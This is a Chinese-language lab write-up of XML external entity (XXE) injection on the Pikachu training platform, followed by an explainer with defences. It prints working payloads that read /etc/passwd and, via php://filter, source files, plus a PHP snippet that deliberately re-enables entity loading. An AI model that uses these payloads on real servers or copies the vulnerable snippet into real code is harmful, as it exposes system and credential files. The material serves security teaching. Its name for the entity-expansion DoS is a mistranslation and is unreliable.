【Pikachu】XML外部实体注入实战

若天下不定，吾往；若世道不平，不回！

1.XXE漏洞实战

首先写入一个合法的xml文档

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>

发现成功解析

这个xml文档payload中&gfzq;是用来将gfzq这个实体进行调用，gfzq实体成功在前端回显。

外部实体，”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值，是处理程序解析它。当引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

外部实体payload

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>

成功读取到文件

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>

2.XXE漏洞学习

XML 外部实体注入漏洞（XXE - XML External Entity Injection） 是一种常见的安全漏洞，通常发生在服务器端解析用户提供的 XML 数据时。攻击者利用这个漏洞可以控制服务器执行不安全的操作，或者窃取敏感数据。该漏洞源自 XML 解析器在处理 XML 文档时，错误地允许外部实体的解析和访问。以下是对该漏洞的详细说明和扩展。

1. 什么是 XML 外部实体（XXE）注入漏洞？

XML 外部实体注入漏洞（XXE）是一种攻击方式，攻击者通过提交特殊构造的 XML 数据，使得服务器在解析 XML 数据时，解析器尝试访问外部实体（例如文件、URL 或其他资源）。如果服务器没有适当的安全控制，恶意用户可以借此漏洞执行多种攻击：

• 信息泄露：攻击者可以通过解析器读取服务器上敏感的本地文件，例如 /etc/passwd、/etc/shadow 或其他重要配置文件。
• 拒绝服务攻击（DoS）：攻击者通过构造恶意的 XML 数据，使得服务器不断加载外部实体，从而消耗资源导致服务不可用（如通过“千年蟲”攻击）。
• 远程代码执行：如果 XML 外部实体指向一个恶意服务器，攻击者可以通过发送恶意请求，让服务器加载并执行远程代码。
• 绕过身份验证：攻击者可以借此漏洞绕过某些身份验证机制，或者访问通常无法直接访问的资源。

2. XXE 漏洞的工作原理

XXE 漏洞的本质是 XML 解析器处理 XML 文件时错误地解析外部实体（Entities），这些外部实体的内容通常是一个 URI 或路径。XML 外部实体定义允许 XML 文档引用外部资源。一个典型的 XML 外部实体定义如下所示：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>

在上面的例子中，xxe 是一个外部实体，指向 /etc/passwd 文件。当服务器解析这个 XML 文件时，它会尝试加载并显示这个文件的内容，攻击者因此能够访问系统的敏感信息。

3. 如何触发 XXE 漏洞？

攻击者通常会通过以下步骤触发 XXE 漏洞：

• 构造恶意的 XML 文件：攻击者构造一个包含外部实体引用的 XML 数据。例如，通过将恶意的 <!ENTITY> 标签嵌入到 XML 文档中，指向敏感的本地文件或外部服务器。
• 提交给服务器解析：攻击者将该 XML 文件提交给服务器端，通常通过提交表单、API 请求或者文件上传等方式。
• 服务器解析并执行外部实体：如果服务器未正确配置或未禁用外部实体解析，XML 解析器会处理这些外部实体，导致信息泄露或执行其他恶意行为。

4. 防御措施

为了防止 XXE 漏洞，许多现代编程语言和库已经采取了默认禁用外部实体解析的策略，防止恶意输入被解析。以下是一些常见的防护措施：

• 禁用外部实体解析：在解析 XML 数据时，确保禁用外部实体的解析功能。许多 XML 解析库（如 PHP 的 libxml、Python 的 lxml 等）提供了禁用外部实体解析的选项。

  • 在 PHP 中，可以使用 libxml 来禁用外部实体解析：

    libxml_disable_entity_loader(true);
    

  • 在 Java 中，可以通过设置 XMLInputFactory 配置来禁用外部实体解析：

    XMLInputFactory factory = XMLInputFactory.newInstance();
    factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
    

• 使用白名单：如果必须允许 XML 文档中引用外部实体，可以限制允许加载的外部实体的源，仅允许信任的来源。

• 使用现代解析器：许多现代 XML 解析器（如 libxml2 2.9.0 及以上版本）默认禁用外部实体解析。确保使用最新版本的解析器，以利用这些内建的安全机制。

• 输入验证与过滤：对用户输入的 XML 数据进行严格的验证和过滤，防止注入恶意的 XML 实体。

• 安全配置：确保服务器上的文件系统权限正确配置，防止敏感文件暴露给不必要的进程和用户。

5. 案例：PHP 中的 XXE 漏洞模拟

为了演示 XXE 漏洞的触发，下面是一个在 PHP 环境中开启外部实体解析的示例：

libxml_disable_entity_loader(false); // 手动启用外部实体解析

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>
XML;

$doc = new DOMDocument();
$doc->loadXML($xml);  // 解析XML，尝试加载外部实体
echo $doc->saveXML();  // 输出解析结果

在上面的示例中，libxml_disable_entity_loader(false) 手动启用了外部实体解析。攻击者通过传入类似的恶意 XML 数据，服务器会试图加载 /etc/passwd 文件并将其内容输出。

6. 总结

XXE（XML 外部实体注入）漏洞是一种常见且危险的攻击方式，攻击者可以利用它访问敏感信息、触发拒绝服务攻击，甚至执行远程代码。为了防止这种漏洞，开发者应始终确保：

• 使用安全的 XML 解析器配置，禁用外部实体解析。
• 定期更新库和框架，确保使用最新的安全版本。
• 对外部输入进行严格的验证和过滤。

现代编程语言和库通常已提供针对 XXE 漏洞的防护措施，但开发者仍需警惕潜在的配置不当和漏洞风险。

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/

公众号：儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85